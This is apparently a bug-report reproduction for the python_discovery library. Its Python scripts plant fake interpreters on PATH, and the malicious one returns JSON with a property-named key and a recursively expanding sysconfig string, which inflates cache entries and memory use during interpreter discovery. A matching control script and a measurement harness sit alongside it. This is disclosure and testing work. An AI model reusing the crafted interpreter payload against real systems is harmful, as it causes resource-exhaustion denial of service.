JSON keys matching PythonInfo properties expand cache entries #203

#!/usr/bin/env python3
import hashlib
import json
import shutil
import subprocess
import tempfile
from pathlib import Path

COLLECT_SCRIPT = "/src/src/python_discovery/_py_info_collect.py"
work = Path(tempfile.mkdtemp(prefix="python-discovery-repro-"))


def install_on_path(candidate_file, extra_key):
    # the answer contains the candidate's path: both keys have 14 letters, so both answers have the same size
    candidate = work / extra_key / "bin" / "python3.99"
    candidate.parent.mkdir(parents=True)
    shutil.copy(f"/tmp/repro.d/{candidate_file}", candidate)
    candidate.chmod(0o755)
    return candidate


def raw_answer(candidate):
    # the same argv discovery uses, with dummy cookies: they come back reversed around the JSON
    answer = subprocess.run([candidate, COLLECT_SCRIPT, "s" * 32, "e" * 32], capture_output=True, check=True).stdout
    print(f"answer of {candidate}: {len(answer)} bytes: {answer[:50]} ... {answer[-50:]}")
    return answer


def find_python(candidate):
    cache_root = candidate.parent.parent / "cache"
    tool = ["/opt/venv/bin/python", "/tmp/repro.d/find_python.py", candidate.parent, cache_root]
    run = json.loads(subprocess.run(tool, capture_output=True, check=True).stdout)
    # DiskCache layout: <root>/py_info/4/<sha256 of the interpreter path>.json
    entry = cache_root / "py_info" / "4" / f"{hashlib.sha256(str(candidate).encode()).hexdigest()}.json"
    run["cache_entry_bytes"] = entry.stat().st_size
    return run


def show(label, run):
    print(label)
    if not run["spawned"]:
        print("  spawned: nothing")
    for argv in run["spawned"]:
        print("  spawned:", *argv)
    print(f"  returned: {run['returned']}")
    print(f"  candidate's cache entry: {run['cache_entry_bytes']} bytes, peak RSS: {run['peak_rss_kb'] // 1024} MB")


# set up: one PATH directory per candidate, each holding a single python3.99
control = install_on_path("candidate_system_includf.py", "system_includf")
attack = install_on_path("candidate_system_include.py", "system_include")
control_answer = raw_answer(control)
attack_answer = raw_answer(attack)

# trigger: one lookup each on an empty cache, then the attack lookup again on the cache it wrote
control_run = find_python(control)
attack_run = find_python(attack)
attack_rerun = find_python(attack)
shutil.rmtree(work)

# check
show("CONTROL  lookup, extra key system_includf, empty cache", control_run)
show("OBSERVED lookup, extra key system_include, empty cache", attack_run)
show("OBSERVED lookup, extra key system_include, cache written by the previous lookup", attack_rerun)

same_size_answers = len(control_answer) == len(attack_answer)
control_entry_not_amplified = control_run["cache_entry_bytes"] < 2 * len(control_answer)
attack_entry_amplified = attack_run["cache_entry_bytes"] > 1000 * len(attack_answer)
attack_memory_amplified = attack_run["peak_rss_kb"] > 10 * control_run["peak_rss_kb"]
print(
    "BUG"
    if same_size_answers and control_entry_not_amplified and attack_entry_amplified and attack_memory_amplified
    else "OK"
)

#!/usr/local/bin/python3.15
# absolute shebang: discovery runs the candidate with nothing but PATH=<this file's directory>
import json
import os
import sys

collect_script, start_cookie, end_cookie = sys.argv[1:4]
sys.path.insert(0, os.path.dirname(collect_script))
from _py_info_collect import PythonInfoCollector

answer = PythonInfoCollector().to_dict()
answer["sysconfig_paths"]["include"] = "{a}" * 10000
answer["sysconfig_vars"]["a"] = "x" * 30000
answer["sysconfig_paths"]["headers"] = "no-such-dir/x"  # no fallback directory, so system_include keeps the expansion
answer["system_include"] = None  # the name of a PythonInfo property

sys.stdout.write(start_cookie[::-1] + json.dumps(answer) + end_cookie[::-1])

#!/usr/local/bin/python3.15
# absolute shebang: discovery runs the candidate with nothing but PATH=<this file's directory>
import json
import os
import sys

collect_script, start_cookie, end_cookie = sys.argv[1:4]
sys.path.insert(0, os.path.dirname(collect_script))
from _py_info_collect import PythonInfoCollector

answer = PythonInfoCollector().to_dict()
answer["sysconfig_paths"]["include"] = "{a}" * 10000
answer["sysconfig_vars"]["a"] = "x" * 30000
answer["sysconfig_paths"]["headers"] = "no-such-dir/x"
answer["system_includf"] = None  # one letter off: not the name of anything

sys.stdout.write(start_cookie[::-1] + json.dumps(answer) + end_cookie[::-1])

import json
import resource
import sys
from pathlib import Path

from python_discovery import DiskCache, get_interpreter

path_dir, cache_root = sys.argv[1:3]

spawned = []
sys.addaudithook(
    lambda event, args: spawned.append([str(arg) for arg in args[1]]) if event == "subprocess.Popen" else None
)

found = get_interpreter("python3.99", env={"PATH": path_dir}, cache=DiskCache(Path(cache_root)))

print(
    json.dumps({
        "spawned": spawned,
        "returned": found and found.executable,
        "peak_rss_kb": resource.getrusage(resource.RUSAGE_SELF).ru_maxrss,
    })
)